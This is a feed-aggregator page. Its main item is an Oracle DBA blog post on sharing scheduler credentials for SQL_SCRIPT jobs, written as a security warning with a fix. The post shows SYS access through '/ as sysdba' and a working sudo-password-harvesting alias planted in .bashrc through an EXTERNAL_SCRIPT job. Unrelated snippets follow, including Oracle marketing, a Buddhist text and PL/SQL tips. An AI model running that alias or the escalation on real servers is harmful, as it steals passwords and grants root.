Feed aggregator

In a recent post, Connor McDonald showed how to setup and use the SQL_SCRIPT scheduler job type to run SQL*Plus directly from the database.
Connor’s example enabled this functionality for a specific individual ( SCOTT) who already knew the Oracle OS account’s password and was therefore able to create a credential based on that user.
But what if we want to incorporate scheduler executed SQL*Plus scripts into an application, rather than just making it available to an individual ?

Tweaking Connor’s example, I’m going to attempt to :

• grant permissions on a credential to another user
• use the connect_credential_name job attribute to avoid hard-coding passwords
• explore the potential problem with using the oracle OS user as the object of a credential
• set up a Linux account to base the credential on instead

The environment I’m using is an Oracle Developer Day VM running Oracle Enterprise Edition 19c on Oracle Linux 7.6.

Yes, Credentials are database objects, and as such are grantable. So, as a user with the CREATE CREDENTIAL privilege …

begin
    dbms_credential.create_credential
    (
        credential_name => 'ORACLE_OS_CREDENTIAL',
        username => 'oracle',
        password => 'ThisisownlyknowntotheDBAhon3st!'
    );
end;
/

grant execute on oracle_os_credential to hr;

We can also use a credential to connect to the database whilst in a SQL_SCRIPT job.
In this case, we need to include the database connect string in the username :

begin
    dbms_credential.create_credential
    (
        credential_name => 'HR_DB_CREDENTIAL',
        username => 'hr@orcl',
        password => 'Mysupersecrethrpassw0rd!',
    );
end;
/

grant execute on hr_db_credential to hr;

If the application we’re dealing with involves lots of batch jobs and file wrangling, the application owner schema may already have the required privileges. If not, then we would need to grant them :

grant create job, create external job to hr;

If we now connect as HR, we can see the credentials…

select owner, credential_name, username, enabled
from all_credentials
/

OWNER           CREDENTIAL_NAME                USERNAME        ENABLED        
--------------- ------------------------------ --------------- -----------
MIKE            ORACLE_OS_CREDENTIAL           oracle          TRUE           
MIKE            HR_DB_CREDENTIAL               hr@orcl         TRUE           

…as well as the privileges…

select privilege
from user_sys_privs
where privilege like '%JOB%';

PRIVILEGE                               
----------------------------------------
CREATE EXTERNAL JOB
CREATE JOB

Now HR can run a job to test the setup…

declare
    v_job_name varchar2(128) := 'HR_TEST_JOB1';
    v_script varchar2(32767);
begin
    -- SQL*Plus statements included, but no connect string
    v_script := q'[
        column os_user format a20
        column db_user format a20
        column db_name format a20
        select 
            sys_context('userenv', 'os_user') as os_user, 
            sys_context('userenv', 'current_user') as db_user,
            sys_context('userenv', 'db_name') as db_name
        from dual;]';

    -- Jobs are created as DISABLED by default, so it won't run immediately...
    dbms_scheduler.create_job
    (
        job_name => v_job_name,
        job_type => 'SQL_SCRIPT',
        job_action => v_script,
        credential_name => 'mike.oracle_os_credential'
    );
    
    -- ...so we have a chance to add a credential to use to connect to the database
    dbms_scheduler.set_attribute
    ( 
        name => v_job_name, 
        attribute => 'connect_credential_name',
        value => 'mike.hr_db_credential'
    );
    
    -- now run the job
    dbms_scheduler.enable(v_job_name);
end;
/

After executing this job, we can see that the test was succesful :

select output
from user_scheduler_job_run_details
where job_name = 'HR_TEST_JOB1'
/       


OUTPUT                                                                                                                            
---------------------------------------------------------------

SQL*Plus: Release 19.0.0.0.0 - Production on Thu Nov 14 18:55:54 2024
Version 19.3.0.0.0

Copyright (c) 1982, 2019, Oracle.  All rights reserved.

SQL> Connected.
SQL> SQL> SQL> SQL> SQL>   2    3    4    5  
OS_USER 	     DB_USER		  DB_NAME   
-------------------- -------------------- --------------------
oracle		     HR 		  ORCL    

SQL> Disconnected from Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
Version 19.3.0.0.0

However, there is something of a security issue with creating a credential on the oracle os user.

Whilst, in Connor’s example, the user created the credential themselves ( so presumably already “know” the oracle user OS password), that’s not the case here.

That means that we’ve effectively just given HR passwordless access to the database as SYS.

To demonstrate :

declare
    v_job_name varchar2(128) := 'HR_TEST_JOB2';
    v_script varchar2(32767);
begin
    -- No sys password ? No problem !
    v_script := q'[
        conn / as sysdba
        column os_user format a20
        column db_user format a20
        column db_name format a20
        select 
            sys_context('userenv', 'os_user') as os_user, 
            sys_context('userenv', 'current_user') as db_user,
            sys_context('userenv', 'db_name') as db_name
        from dual;]';

    dbms_scheduler.create_job
    (
        job_name => v_job_name,
        job_type => 'SQL_SCRIPT',
        job_action => v_script,
        credential_name => 'mike.oracle_os_credential'
    );
    
    -- now run the job
    dbms_scheduler.enable(v_job_name);
end;
/

This time, we’ve hard-coded a connect string rather than using the database user credential. The result is a bit worrying…

OUTPUT                                                                                                                            
------------------------------------------------------------------------------

SQL*Plus: Release 19.0.0.0.0 - Production on Thu Nov 14 19:15:43 2024
Version 19.3.0.0.0

Copyright (c) 1982, 2019, Oracle.  All rights reserved.

SQL> SQL> Connected.
SQL> SQL> SQL> SQL>   2    3    4    5  
OS_USER 	     DB_USER		  DB_NAME   
-------------------- -------------------- --------------------
oracle		     SYS		  orclcdb    

SQL> Disconnected from Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
Version 19.3.0.0.0

Because the OS connection is as oracle, we can use the “/ as sysdba” connect string to connect as SYS.
It’s also worth bearing in mind that the credential can be used for jobs other than SQL_SCRIPT…

declare
    v_job_name varchar2(30) := 'HR_EXTERNAL';
    v_script varchar2(32767);
    
begin
    v_script := 'whoami';
        
    dbms_scheduler.create_job
    (
        job_name => v_job_name,
        job_type => 'EXTERNAL_SCRIPT',
        job_action => v_script,
        credential_name => 'mike.oracle_os_credential',
        enabled => TRUE
    );
end;
/

select output
from user_scheduler_job_run_details
where job_name = 'HR_EXTERNAL'
/

OUTPUT                        
------------------------------
oracle

On this Oracle Linux server, oracle is on the sudoers list, which means HR can do something like this…

set define off
declare
    v_job_name varchar2(30) := 'MWAHAHAHA';
    v_script varchar2(32767);
    
begin
    v_script := q'[/usr/bin/echo "alias sudo='echo -n \"[sudo] password for \$USER: \" && read -s -r password && echo -e \"\\n\" && echo \"\$USER:\$password\" >>/u01/userhome/oracle/stohelit.txt; echo \$password | $(which sudo) -S \$@'" >> /u01/userhome/oracle/.bashrc]';
        
    dbms_scheduler.create_job
    (
        job_name => v_job_name,
        job_type => 'EXTERNAL_SCRIPT',
        job_action => v_script,
        credential_name => 'mike.oracle_os_credential',
        enabled => TRUE
    );
end;
/

…which adds an alias for sudo to the oracle users .bashrc…

cat .bashrc
alias sudo='echo -n "[sudo] password for $USER: " && read -s -r password && echo -e "\n" && echo "$USER:$password" >>/u01/userhome/oracle/stohelit.txt; echo $password | /usr/bin/sudo -S $@'

This executes the next time anyone runs a sudo command whilst connected as oracle…

[oracle@localhost oracle]$ sudo ls -l
[sudo] password for oracle: 

Meaning that the oracle OS password is saved into a file called stohelit.txt and can be retrieved by running something like :

declare
    v_job_name varchar2(30) := 'UNLIMITED_POWER';
    v_script varchar2(32767);
    
begin
    v_script := 'ho /usr/bin/cat /u01/userhome/oracle/stohelit.txt';
        
    dbms_scheduler.create_job
    (
        job_name => v_job_name,
        job_type => 'SQL_SCRIPT',
        job_action => v_script,
        credential_name => 'mike.oracle_os_credential',
        enabled => TRUE
    );
end;
/

select output
from user_scheduler_job_run_details
where job_name = 'UNLIMITED_POWER'
/

With the password, it’s now possible to run commands as root ( using sudo).

Clearly, a rethink is required…

revoke execute on oracle_os_credential from hr;

What we need is an OS user who isn’t oracle. But what else do we need to do to make an account suitable for running SQL_SCRIPT jobs as ?
It turns out, that the minimum requirement is simply a password.
If the application already has an OS user associated with it, then you can use that.
If not then we need to create one.

Remember, in my case, I’m on Oracle Linux so it’s just a matter of…

sudo useradd -m hr_etl
sudo passwd hr_etl

…and that’s it.

The new account doesn’t even need to have the SQL*Plus executable in it’s $PATH…

[hr_etl@localhost ~]$ sqlplus /nolog
bash: sqlplus: command not found...

To demonstrate, we’ll connect to the database as the user with the CREATE CREDENTIAL privilege and …

begin
    dbms_credential.create_credential
    (
        credential_name => 'HR_ETL_OS_CREDENTIAL',
        username => 'hr_etl',
        password => 'Y3tanothercompl!catedpassword'
    );
end;
/

grant execute on hr_etl_os_credential to hr;

Now connected to the database as HR we use the new credential.

declare
    v_job_name varchar2(128) := 'HR_TEST_JOB3';
    v_script varchar2(32767);

begin
    -- SQL*Plus statements included, but no connect string
    v_script := q'[
        column os_user format a20
        column db_user format a20
        column db_name format a20
        select 
            sys_context('userenv', 'os_user') as os_user, 
            sys_context('userenv', 'current_user') as db_user,
            sys_context('userenv', 'db_name') as db_name
        from dual;]';
        
    -- Using the new credential...
    dbms_scheduler.create_job
    (
        job_name => v_job_name,
        job_type => 'SQL_SCRIPT',
        job_action => v_script,
        credential_name => 'mike.hr_etl_os_credential'
    );
    
    dbms_scheduler.set_attribute
    ( 
        name => v_job_name, 
        attribute => 'connect_credential_name',
        value => 'mike.hr_db_credential'
    );
    
    dbms_scheduler.enable(v_job_name);
end;
/

Better still, if we now try to login as SYS using the “/ as sysdba” syntax…

declare
    v_job_name varchar2(128) := 'HR_TEST_JOB4';
    v_script varchar2(32767);
begin
    v_script := q'[
        conn / as sysdba
        column os_user format a20
        column db_user format a20
        column db_name format a20
        select 
            sys_context('userenv', 'os_user') as os_user, 
            sys_context('userenv', 'current_user') as db_user,
            sys_context('userenv', 'db_name') as db_name
        from dual;]';

    dbms_scheduler.create_job
    (
        job_name => v_job_name,
        job_type => 'SQL_SCRIPT',
        job_action => v_script,
        credential_name => 'mike.hr_etl_os_credential'
    );
    
    dbms_scheduler.enable(v_job_name);
end;
/

…Oracle is having none of it…

select output
from user_scheduler_job_run_details
where job_name = 'HR_TEST_JOB4'
/

SQL*Plus: Release 19.0.0.0.0 - Production on Thu Nov 14 20:09:43 2024
Version 19.3.0.0.0

Copyright (c) 1982, 2019, Oracle.  All rights reserved.

SQL> SQL> ERROR:
ORA-01017: invalid username/password; logon denied


SQL> SQL> SQL> SQL>   2    3    4    5  SP2-0640: Not connected
SQL> 

In an application such as this, you’ll probably want to use SQL_SCRIPT to read and write files on the operating system, in which case further configuration will be needed in terms of OS file permissions etc. As far as running the jobs is concerned though, you should be good to go.

The sudo credential exploit above is based on a rather more elegant example in the SUDO_KILLER GitHub Repo.

 In today's data-driven world, businesses rely on robust databases to manage their mission-critical workloads. Oracle Database 23ai Free offers a streamlined experience of this industry-leading database, with resource limits of up to 2 CPUs for foreground processes, 2 GB of RAM, and 12 GB of user data on disk. This free version is designed for ease of use and simple download, making it an ideal starting point for exploring the capabilities of Oracle Database.

A key feature that sets Oracle Database 23ai apart is its AI Vector Search capability. But what exactly are vectors? In simple terms, vectors are mathematical representations of data that capture complex relationships and patterns. They are a way to encode data, such as text, images, or audio, into numerical values that can be easily processed and analyzed by machines. Vectors enable computers to understand the semantic meaning and context of data, allowing for more accurate and efficient searching and analysis.

Vector search takes this concept a step further. It is a technique used to quickly identify similar data points within a vast dataset. Traditional search methods rely on keyword matching or exact phrase searches, but vector search enables more nuanced and intuitive queries. By comparing the vector representations of different data points, vector search can identify patterns and relationships that would be missed by traditional search methods.

Oracle AI Vector Search builds on this technology, introducing a converged database capability that revolutionizes the way businesses interact with their data. 

By storing vectors as a native data type and utilizing vector indexes and SQL functions, AI Vector Search enables fast and simple similarity search queries on both structured and unstructured data. This means that customers can quickly identify similar information across documents, images, and other unstructured data sources. Furthermore, AI Vector Search allows prompts to large language models (LLMs) to be augmented with private business data or domain knowledge, unlocking new possibilities for data-driven insights and decision-making.

With Oracle AI Vector Search, businesses can unlock the full potential of their data, uncovering hidden patterns and relationships that drive innovation and growth. Whether you're working with text, images, or other data types, Oracle Database 23ai's AI Vector Search capability is poised to transform the way you search, analyze, and interact with your data.

 In today's data-driven world, AI needs fuel to power innovative applications. Oracle Database 23ai brings AI directly to your data, making it effortless to develop cutting-edge apps and tackle mission-critical tasks. But what makes this possible? Enter GraphQL, a game-changing query language that's changing the way we interact with data.

GraphQL is an open-source data query and manipulation language developed by Facebook in 2015. It allows clients to specify exactly what data they need, eliminating unnecessary requests and improving performance. GraphQL's declarative nature makes it a perfect fit for modern, data-driven applications. Its history is impressive, with Facebook open-sourcing it in 2015, followed by widespread adoption by tech giants like GitHub, Pinterest, and Airbnb.

GraphQL solves several pain points that have plagued developers for years. By allowing clients to receive only requested data, GraphQL reduces data transfer and minimizes bandwidth usage. This results in improved performance, as fewer requests and optimized data retrieval lead to faster responses. Additionally, GraphQL supports multiple data sources, making integration seamless. Its self-documenting nature and intuitive queries simplify development, making it a favorite among developers.

Traditionally, relational databases like Oracle used SQL for querying. However, SQL can be restrictive, requiring multiple queries to fetch related data. GraphQL changes this by enabling simplified complex queries and real-time data retrieval. This makes it perfect for applications requiring instant updates. Oracle's integration of GraphQL into its database takes this power to the next level, offering native support, optimized queries, and robust security features.

With Oracle Database 23ai and GraphQL, developers can build innovative applications faster and more efficiently. GraphQL's nested queries and relationships make fetching complex data easier, while Oracle's database engine optimizes queries for peak performance. This powerful combination enables developers to focus on building exceptional user experiences.

Imagine querying a movie database to get personalized recommendations. With GraphQL, you can fetch exactly what you need. For example:

These examples illustrate the potential of Oracle Database 23ai and GraphQL. By combining AI-powered data analysis with intuitive querying, developers can unlock new possibilities in application development.

With Oracle Database 23ai and GraphQL, building innovative movie apps is faster, easier, and more powerful than ever.

Hope this helps.

Translated into English by Tam Lac Jessica A. Tran

1.      Yearn not for a body free of disease and suffering, because without going through pain and illness, sundry desires are easily awakened. 

2.      Wish not for a life free of mishaps and obstacles, because without them one tends to become arrogant and egotistic.

3.      Pray not for a quick shortcut regarding spiritual introspect, because without excruciating effort, one becomes short-learning. 

4.      Fear not the haunting disturbance of evil while accumulating spiritual strength, because without them one’s determination does not grow solid strong.

5.      Hope not for easy success in one’s work, because without difficulties and failures, one tends to undervalue others and become overly proud. 

6.      Build not relationships on selfish gain, because a relationship based on profit has lost its genuine meaning. 

7.      Look not for a universal consensus regarding one’s personal opinion, because complete adoption to a single opinion will render narrow mindedness.

8.      Expect not repayment or reward from others for one’s services, because calculation and expectation contradicts true service.

9.      Engage not irrationally into profitable attractions, because jumping too quickly into temptation may well blind wisdom.

10.  Stir not at being victim of injustice, because eagerness to clarify reputation belongs to an ego too attached to loose.

 These are the Buddha’s teachings:

–          Consider disease and suffering as medicines to the body

–          Use mishaps as a means of self-liberation

–          Treat obstacles as enjoyable challenges

–          Greet haunting spirits as good companions

–          Consider difficulties as life enjoyments

–          Thank bad friends as helping you in self-adjustment

–          View unpleasant dissidents as friendly entertainment

–          See favors as merely unimportant sandals plentiful to dispose

–          Take disinterest from temptation as an honourable achievement.

–          Employ injustice as entry doors to spiritual perfection.

To accept obstacles will bring wisdom, but to pray for wisdom will inevitably bring obstacles.  It was within all obstacles approaching that The Thus Comes One enlightened to the Ultimate Bodhi. He gladly instilled perfection to the Path of Enlightenment to all the people who wished to do harm to him, even the great ill seeker that was named Devadatta.  

Thus, does not the difficulty faced in life bring beneficial results, and could not the destruction and damage of others bring support to one’s achievements?

Today Buddhist practitioner, because they firstly fear to throw themselves into all types of obstacle, so when true obstacles come their way, they are too helpless to fend for themselves. The Absolute Dharma of nobility and superior ambition thus diminishes because of this pity, how regretful, how resentful!?

Reference https://www.buddhismtoday.com/viet/phatphap/10dieutamniem.htm

 As an Oracle database administrator, managing sessions is crucial for maintaining performance and availability. This script provides a comprehensive solution for monitoring and cleaning up idle and blocking sessions.

The script identifies blocking sessions exceeding a specified threshold (default: 60 minutes), kills them, and sends notification emails. It also identifies idle sessions exceeding a specified threshold (default: 60 minutes), kills them, and sends notification emails. Key components include session identification using V$SESSION , V$PROCESS , and V$TRANSACTION , threshold settings, notification email functionality using TRACK.SEND_EMAIL , and error handling.

To implement this script, you'll need to declare variables for threshold settings (minutes), notification lists, and other necessary variables. The script then monitors blocking sessions using a FOR loop, killing each blocking session and sending notifications. A similar loop monitors idle sessions.

To maximize the effectiveness of this script, consider the following best practices:

• Schedule the script to run regularly (e.g., every 30 minutes).
• Adjust threshold settings according to your database requirements.
• Monitor notification emails for killed sessions.

The "link attributes" of an interactive report allows a developer to specify additional attributes for a column displayed as a link in a interactive report.

A tooltip that will be displayed when a user hovers over the link text with the pointer can be specified using the attribute TITLE, for instance: TITLE="open page xyz".

This column attribute however is not picked up by the translation process of APEX, so it's not something that can be be found in the translation repository.

An easy way to work around the problem if you need to translate the text is as follows:

1. add a new column to the IR report containing:

   APEX_LANG.MESSAGE('MSGOPENXYZ') as MSG1

2. Make the column hidden.
3. Update the LINK ATTRIBUTES column attribute adding TITLE="#MSG1#"
4. Add the message MSGOPENXYZ to the message repository for the main language and for the additional languages.
5. Repeat the steps 1-4 if you have more links needing this.
   
6. Seed you application
7. Publish the application in the additional languages
8. Enjoy the translated tooltip.

Posted by Pete On 13/11/24 At 01:56 PM

I was puzzled when I got an error message allegedly occurring at a line containing an "end loop" statement and it took me a while to figure out that this occurs when either bound of the loop is NULL.

In my case both the initial and final bounds are variables and they were supposed to be not null or so I thought...

Here is a code snippet reproducing the error:

begin
  for i in null..100
  loop
    null;
  end loop;
end;
Error report -
ORA-06502: PL/SQL: numeric or value error
ORA-06512: at line 5
06502. 00000 -  "PL/SQL: numeric or value error%s"
*Cause:    An arithmetic, numeric, string, conversion, or constraint error
           occurred. For example, this error occurs if an attempt is made to
           assign the value NULL to a variable declared NOT NULL, or if an
           attempt is made to assign an integer larger than 99 to a variable
           declared NUMBER(2).
*Action:   Change the data, how it is manipulated, or how it is declared so
           that values do not violate constraints.

 This video shows how to locally install Tencent Hunyuan3D-1 model for 3D generation.

Code: